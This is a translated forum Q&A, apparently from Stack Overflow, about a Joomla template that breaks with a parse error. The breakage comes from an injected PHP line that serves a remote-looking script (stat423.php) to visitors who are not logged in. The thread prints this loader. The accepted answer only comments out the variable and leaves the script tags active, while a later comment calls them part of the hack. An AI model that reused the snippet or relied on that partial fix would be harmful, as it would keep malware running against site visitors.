2016-09-19 144 views
2

我是一个图形&网页设计师,但我不是一个程序员..问题,我的Joomla网站

我需要帮助。今天,我发现这个错误,当我装我的基于旧的Joomla本网站的主页..

Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35 

我一直在寻找上线35,我发现这一点:

<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};$423e62d9=1; ?> 

如何解决呢?
预先感谢!

+2

这看起来很像黑客! – RiggsFolly

+0

看起来像一个不好的WordPress模板/小部件。变量不能以数字开头。 – aynber

+0

在其他文件夹我工作的基于WordPress的网站restyling ...旧joomla版本是直到星期六工作正常的在线网站。 –

回答

2

首先,像其他人一样在评论中指出,$423e62d9不是valid variable name。所以你必须以某种方式修复它。

其次,在这个代码中,这个“变量”的用法没有任何意义:它只相当于几次:$423e62d9=1;。所以可以有三种选择:或者这个部分根本不需要,或者这个“varialbe”也可以用在其他地方,或者这是某种模糊(2次?hmm)。 PS好的,根据评论,有第四种选择:网站被黑客入侵。在这种情况下,应该仔细研究周围的代码;无论如何,家伙建议更新Joomla核心。

接下来,我建议你注释掉那些位:

<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo " 
<script language=JavaScript id=onDate ></script> 
<script language=JavaScript src=/wp-includes/js/stat423.php ></script> 
";};/*$423e62d9=1;*/ ?> 

,看看会发生什么。这可以解决这个问题,或者让它更多地阐明它的起源。

另一种方法是尝试重命名它(在$之后添加一个字母),但除非您在其他地方找到它,否则它没有什么意义。

最后,如果这是第三种情况,这可能需要一些“有教养的猜测”。那么,我不认为猜谜游戏是值得的,所以让我们从上面提出的2个选项开始。

+0

谢谢@YakovL你的建议代码它的工作! –

+2

删除以及js部分..它是黑客的一部分。我在Joomla页面上发生了同样的事情。现在的问题是:代码如何去那里。在我的情况下,变量被正确命名,它是以下划线开头的。 –

+0

@YannSagon我想知道这段代码如何去那里...这与我一起感染 –